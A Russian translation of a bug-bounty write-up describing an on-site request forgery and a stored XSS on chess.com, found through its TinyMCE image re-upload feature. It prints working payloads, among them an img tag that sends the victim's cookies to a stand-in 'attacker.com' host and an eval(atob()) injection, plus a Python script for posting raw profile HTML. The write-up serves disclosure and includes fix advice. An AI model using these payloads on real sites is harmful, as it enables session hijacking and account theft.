Ладья на XSS: как я хакнул chess.com детским эксплойтом

в 13:00, , рубрики: ruvds_перевод

Ладья на XSS: как я хакнул chess.com детским эксплойтом - 1


Шахматы – это одно из многих моих хобби, за которыми я провожу свободное время, когда не ковыряюсь с какой-нибудь электроникой. При этом играю я так себе, и когда мне изрядно надоело проигрывать, я решил заняться тем, что у меня получается гораздо лучше… хакнуть систему!

В этой статье я расскажу о том, как использовал свои знания по кибербезопасности для обнаружения XSS-уязвимости (Cross-Site Scripting, межсайтовый скриптинг) на крупнейшем шахматном сайте интернета со 100 миллионами участников – Chess.com. Но для начала небольшое вступление (в котором будет затронута немного менее серьёзная, но достаточно занятная, уязвимость OSRF (On-site Request Forgery, подделка запросов на сайте).

▍ Вступление

В начале 2023 года я начал частенько играть на chess.com. Как-то общаясь с другом в Discord, я убедил его тоже зарегистрироваться и использовал предлагаемую ресурсом возможность установить дружескую связь сразу после регистрации.

Ладья на XSS: как я хакнул chess.com детским эксплойтом - 2

Эта функция напомнила мне о случае с MySpace Worm, произошедшем в 2005 году (чёрт возьми, меня тогда и на свете ещё не было), когда Сэми Камкар внедрил в свой профиль код, который добавлял в друзья всех посетителей его страницы, внедряя аналогичный код уже в их профили (тем самым создав червя). Мне стало интересно, можно ли проделать что-то подобное на этом ресурсе. Я кликнул по предлагаемой ссылке и создал новый аккаунт, после чего заглянул во вкладку инструментов разработчика – интересно…после создания аккаунта ресурс отправил GET-запрос на htttps://chess.com/registration-invite?hash=XXX

Ладья на XSS: как я хакнул chess.com детским эксплойтом - 3

Выходит, если я сделаю так, чтобы пользователь запросил этот URL-адрес, система автоматически добавит этого пользователя ко мне в друзья. По воле случая я как раз лазил в настройках, где наткнулся на «Святой Грааль»…редактор форматированного текста TinyMCE с функцией загрузки изображений.

Ладья на XSS: как я хакнул chess.com детским эксплойтом - 4

Посмотрим, что произойдёт, если вставить ссылку на изображение. Корректно ли будет встроен этот URL-адрес, или же в системе есть некая защита от подделки запросов?

Ладья на XSS: как я хакнул chess.com детским эксплойтом - 5

Chess.com обрабатывает этот процесс на стороне сервера, повторно загружая изображение на отдельный сервер для хранения, после чего направляет URL именно туда. Хмм… А что будет, если использовать ссылку с корневым доменом chess.com? Станет ли система загружать картинку повторно на другой сервер? Это важно, особенно при совмещении домена с конкретным URL-адресом вроде…

Ладья на XSS: как я хакнул chess.com детским эксплойтом - 6

Ладья на XSS: как я хакнул chess.com детским эксплойтом - 7

Бинго! Я переключился на свой альтернативный аккаунт, перешёл на страницу профиля и проверил список друзей, куда был успешно добавлен мой основной аккаунт.

Ладья на XSS: как я хакнул chess.com детским эксплойтом - 8

Мне не верилось, что это сработало, и я вдоволь посмеялся. В ходе мероприятий по выявлению и рассмотрению багов разработчики постарались реализовать защиту, так как, когда я попытался повторить то же самое для них, система выдала ошибку:

Ладья на XSS: как я хакнул chess.com детским эксплойтом - 9

Но и тут проблемы нет. Мне удалось обойти эту защиту, установив поддомен, включающий chess.com, и перенаправив URL на /registration-invite

Ладья на XSS: как я хакнул chess.com детским эксплойтом - 10

А вот как это выглядело при посещении моего профиля:

Ладья на XSS: как я хакнул chess.com детским эксплойтом - 11

После обнаружения бага и отправки отчёта мне стало интересно, что ещё можно проделать посредством TinyMCE – смогу ли я реализовать XSS? Насколько эффективная на сайте налажена очистка? И здесь мы подходим к самой захватывающей части…

▍ Миттельшпиль

Немного поигравшись с редактором, я понял, что не особо преуспею без использования чего-то вроде Burp's proxy для перехвата запроса на сохранение моей информации About и непосредственного внедрения в него чистого HTML-кода (всё, что пишется в редакторе, трактуется как текст). Вполне ожидаемо, в системе уже оказались реализованы защиты для удаления атрибутов и тегов, не включённых в белый список. Значит, взглянем на то, что разрешено.

Просмотрев конфигурацию TinyMCE на сайте (находится в файле tinymce-lazy-client.js), я выяснил, что для тегов img в списке Allowed находится атрибут стиля background-image. Толку от этого мало, но мне стало интересно, применяется ли функция повторной загрузки внешнего URL-адреса изображения также и к атрибутам. Что ж…попробовать стоит. Посмотрим, что произойдёт при использовании следующей полезной нагрузки:

<p><img src="https://www.pngmart.com/files/22/Penguin-PNG-Photos.png" style="display: block; margin: 0 auto; background-image: url(https://test.com/);"> <p>

Ладья на XSS: как я хакнул chess.com детским эксплойтом - 12

Я буквально не поверил своим глазам, когда загрузил свой профиль. URL действительно был передан, но в ходе этого процесса что-то пошло не так, в результате чего в начало новой ссылки был добавлен символ . Это привело к преждевременному закрытию атрибута стиля и превращению оставшегося URL-адреса в лишние атрибуты!

Поскольку добавление разрешённых атрибутов оказалось возможным, я попытался придумать, как сгенерировать полезную нагрузку, которая бы заставила сервер при загрузке изображения выполнять вредоносный JS-код. Используемые в URL-адресе прямые слэши / служили в качестве разграничителей, и каждый добавляемый между ними элемент представлял новый атрибут. Исходя из этого, я попробовал использовать url('https://test.com/onload')

Ладья на XSS: как я хакнул chess.com детским эксплойтом - 13

Чтобы понять, как добавить полезную нагрузку, я попытался перебрать все символы и оценить, как каждый из них влияет на конечный результат. Используя эту тактику, я выяснил, что можно добавить ? для изменения данных следующего атрибута (хотя здесь возникает небольшой подвох – нельзя будет использовать ? в остальной части полезной нагрузки). В итоге получилось вот что:

<p><img src="https://www.pngmart.com/files/22/Penguin-PNG-Photos.png" style="display: block; margin: 0 auto; background-image: url(https://images.chesscomfiles.com/?/onload=alert);"><p>

Теперь у нас возникает ещё одна проблема: заключительная конструкция "" будет постоянно выбрасывать синтаксическую ошибку, останавливая выполнение кода…Закомментируем её с помощью // и протестируем простую alert(1).

<p><img src="https://www.pngmart.com/files/22/Penguin-PNG-Photos.png" style="display: block; margin: 0 auto; background-image: url('https://images.chesscomfiles.com/?/onload=alert(1);//');"> <p>

Ладья на XSS: как я хакнул chess.com детским эксплойтом - 14

Чёрт, скобки отфильтровываются… Значит, я не смогу вызывать любые функции с любыми параметрами.

Ещё хуже то, что отфильтровываются почти все полезные символы: – ,’^&[]’$%… как же нам тогда оказать хоть какое-то серьёзное влияние? Вернёмся к основам – посмотрим, удастся ли нам установить переменную x на 4. (К счастью, символ = не отфильтровывается).

<p><img src="https://www.pngmart.com/files/22/Penguin-PNG-Photos.png" style="display: block; margin: 0 auto; background-image: url(https://images.chesscomfiles.com/?/onload='x=2;//');" class="imageUploaderImg" alt="" /></p>

Ладья на XSS: как я хакнул chess.com детским эксплойтом - 15

Использование в полезной нагрузке портит код JS (кодируется в %27), и вызывает синтаксическую ошибку. Тут я задумался, но вскоре понял, что %27 также может интерпретироваться как завершающая часть операции деления с остатком… Тогда, возможно, мне удастся заставить браузер выполнять эту операцию, после чего уже присваивать переменную. В итоге у меня получилась такая полезная нагрузка:

<p><img src="https://www.pngmart.com/files/22/Penguin-PNG-Photos.png" style="display: block; margin: 0 auto; background-image: url(https://images.chesscomfiles.com/?/onload=4';x=2;//');" class="imageUploaderImg" alt="" /></p>

Ладья на XSS: как я хакнул chess.com детским эксплойтом - 16

Вот это уже что-то! Посмотрим, удастся ли мне изменить некоторые встроенные переменные (например, document.cookie) на строку. Это может оказаться проблематичным, так как во всех стандартных способах определения строки используются кавычки или обратный апостроф, которые отфильтровываются.

Пора обратиться к гуглу. Пошерстив немного StackOverflow, я наткнулся на такой комментарий:

Ладья на XSS: как я хакнул chess.com детским эксплойтом - 17

Получается, можно определить регулярное выражение и затем получить его строку из атрибута source. Встроим этот приём в нашу полезную нагрузку и попробуем переписать куки PHPSESSID. (Спасибо тебе, Frobinsonj!)

<p><img src="https://www.pngmart.com/files/22/Penguin-PNG-Photos.png" style="display: block; margin: 0 auto; background-image: url(https://images.chesscomfiles.com/?/onload=4';document.cookie=/PHPSESSID=invalid /.source;//');" class="imageUploaderImg" alt="" /></p>

Ладья на XSS: как я хакнул chess.com детским эксплойтом - 18

Возможность переписать куки – это, безусловно, круто, но мы можем извлечь текущий их набор для оказания более существенного влияния. Можно попробовать установить переменные документа и расположения, чтобы перенаправлять пользователя на собственный сайт, добавляя куки в качестве параметров. Но возникает уже известная нам проблема – невозможность использовать символ ?.

Хмм… Тогда, возможно, не в качестве параметра – есть и другие способы включения данных в URL – например, их прописывание в пути. URL-адрес вроде http:attacker.com/sensitivedata потребует использования /, но мы уже используем его для форматирования всего адреса в виде строки, используя трюк с регулярным выражением.

Но кто сказал, что нам нужно вводить / вручную? Этот символ повсеместно используется для построения путей каталогов, значит в JS должна существовать включающая его переменная. На этот раз я без лишних хлопот нашёл location.pathname.

Ладья на XSS: как я хакнул chess.com детским эксплойтом - 19

Вот итоговая полезная нагрузка:

<p><img src="https://www.pngmart.com/files/22/Penguin-PNG-Photos.png" style="display: block; margin: 0 auto; background-image: url(https://images.chesscomfiles.com/?/onload=4';document.location=/http:attacker.com/.source+location.pathname+document.cookie;//');" class="imageUploaderImg" alt="" /></p>

Ладья на XSS: как я хакнул chess.com детским эксплойтом - 20

Чудесно. Выходит, я могу извлекать куки без HttpOnly или любых других сохранённых JS-объектов. В итоге я извлёк некоторые чувствительные данные аккаунта и сообщил об уязвимости команде безопасности.

▍ Эндшпиль

После такого успеха во мне заиграла гордость. Но, поскольку я всегда готов к испытаниям и люблю проявлять энтузиазм, то решил попробовать реализовать полноценную атаку XSS. Дня два я размышлял над тем, как это можно сделать.

Вернёмся к изначальной проблеме использования url() в стиле background-image, который мгновенно закрывает атрибут, добавляя остаток URL-адреса в виде неотфильтрованных атрибутов. Что, если вместо использования url() в стиле переместить его в другой, более непосредственный атрибут вроде srcset? Не особо перспективный ход, но хотя бы тогда он будет рассматриваться несколько иначе и даст возможность использовать больше символов, а значит, и более обширный синтаксис JS, позволив реализовать полноценную XSS-атаку. Вот что у меня получилось:

<p><img src="a.png" style="display: block; margin: 0 auto;" srcset=url(https://images.chesscomfiles.com/onerror=eval(atob("YWxlcnQoMSk=)));2+4//></p>

Как видите, здесь нам не нужно использовать ?, и ( с " не кодируются, то есть мы можем закодировать любую полезную нагрузку в base64 и выполнить её напрямую! Вау!

Ладья на XSS: как я хакнул chess.com детским эксплойтом - 21

Помимо всего этого, я вскоре узнал, что редактор TinyMCE используется не только на странице профиля About, но практически во всех частях сайта, включая блоги и комментарии на форумах. Это подразумевает значительное влияние, поскольку комментариями и блогами ежедневно пользуются тысячи участников платформы.

Надеюсь, вам было столь же интересно читать эту статью, сколько мне раскапывать этот интригующий баг! В итоге оказалось, что об уязвимости для XSS разработчики уже знали (это весьма заурядная находка в процессе поиска багов). А вот мой изначальный вектор проникновения через атрибут фонового изображения им был не известен, и они внимательно ознакомились с моим подробным отчётом, даже предложив за него награду.

К слову: как я случайно реализовал blind XSS

В ходе общения с командой по рассмотрению багов на тему изначальной уязвимости OSRF меня спросили, как я смог выполнить XSS (оповещение о ней всплыло при просмотре моего профиля). Меня этот вопрос смутил, потому что тогда я не мог осуществить какое-либо внедрение и понятия не имел, с чего они это взяли. Возможно, это был другой хакер, который тоже устал проигрывать!

В итоге выяснилось, что при анализе моего профиля они смогли откатить его для просмотра прежних версий, а при загрузке этих старых представлений вредоносный HTML из моего ввода не отфильтровывался. То есть, когда я пытался выполнить XSS, вредоносная полезная нагрузка сохранилась в виде прежней версии и выполнилась уже при просмотре этой версии специалистами сайта.

▍ Анализ

Основной корень этих уязвимостей кроется в функции повторной загрузки изображений. Во-первых, систему проверки на предмет того, размещается ли изображение на chess.com, можно легко обмануть, включив chess.com в имя домена. Вместо этого система должна проверять, соответствует ли корневой домен домену chess.com или, что ещё лучше, просто в любом случае повторно загружать изображение в CDN (Content Delivery Network, сеть доставки содержимого).

Редакторы форматированного текста – это золотая жила для реализации XSS, поскольку они позволяют использовать разные HTML-элементы для дополнительной стилизации. Вместо принятия входных данных и трактовки их только как текста, они должны принимать сырой HTML и встраивать непосредственно его – именно поэтому столь важно настраивать белые списки, устанавливая, какие элементы и атрибуты могут быть получены. Кроме того, также важно поддерживать актуальную версию редактора.

Тем не менее в этом случае TinyMCE был актуален и настроен корректно, не позволяя использование скриптовых тегов и атрибутов. Проблема заключалась в том, что при вводе кода для нашего профиля он сначала очищался (это хорошо), но очистка производилась до выполнения в нём дополнительного кода, такого как повторная загрузка изображений. Это и вело к тому, что итоговый HTML оказывался полностью иным и очистке не подвергался.

Если разработчики chess.com хотят продолжить использовать этот редактор, им нужно обеспечить, чтобы очищался непосредственно конечный HTML-код, показываемый пользователю. И хотя это изменение HTML было вызвано тем, что функция повторной загрузки изменяла URL-адрес, и техническое исправление этого недочёта перекроет данный вектор атаки, аналогичный трюк может проделать и другая функция. Поэтому важно исправить саму процедуру очистки (реализовать защиту в глубину).

И напоследок ещё несколько дополнительных деталей:

  1. Если вам интересно, почему для эксплуатации OSRF я напрямую не использовал friend.chess.com, то пока я всё это тестировал, разработчики chess.com изменили что-то в работе ресурса, и мне удалось добиться успеха только через chess.com/registration-invite...
  2. Гуглу не понравился созданный мной поддомен chess.com, и через пару недель мой домен обозначили как «фишинговый» — мне пришлось связаться с поддержкой, чтобы всё объяснить, после чего я вручную удалил его, так как страдал от этого весь домен.
  3. Во время стадии извлечения данных, когда мне не удавалось вытащить их в качестве параметра, я понял, что могу установить данные в виде поддомена вроде http:sensitivedata.attacker.com. Это можно сделать с помощью многоуровневой системы wildcard DNS, в которой, например, Cloudflare Worker будет логировать запрошенный поддомен. Но такую схему будет сложнее настроить, и я пока в ней не разбирался.
  4. В качестве альтернативы Burp для перехвата и отправки сырых данных в раздел About в редакторе можно вручную отправлять POST-запрос с помощью скриптового языка вроде Python.

import requests, os
import urllib3

cookies = {
xxxxx
}

headers = {
xxxxxx
}

data = {
'profile[firstName]': 'Jake',
'profile[lastName]': '',
'profile[location]': '',
'profile[country]': '164',
'profile[language]': '10',
'profile[contentLanguage][contentLanguage]': 'default_and_user',
'profile[timezone]': 'Europe/London',
'profile[ratingType]': '',
'profile[fideRating]': '',
'profile[about]': '<p>payload here</p>',
'profile[save]': '',
'profile[_token]': 'xxxx',
}
while True:
data['profile[about]'] = input() 

response = requests.post('https://www.chess.com/settings', cookies=cookies, headers=headers, data=data)
print(response)

Дисклеймер: весь процесс проделывался в рамках программы по отлавливанию багов и оставался строго в рамках определённой области. Информация, позволяющая установить личность, была скрыта по запросу. Об этом баге я сообщил больше года назад, и на данный момент уже прошёл установленный период неразглашения в 9 месяцев. Настоятельно рекомендую взламывать сайты, только когда у вас есть на это письменное разрешение.

Автор: Дмитрий Брайт

Источник

* - обязательные к заполнению поля


https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js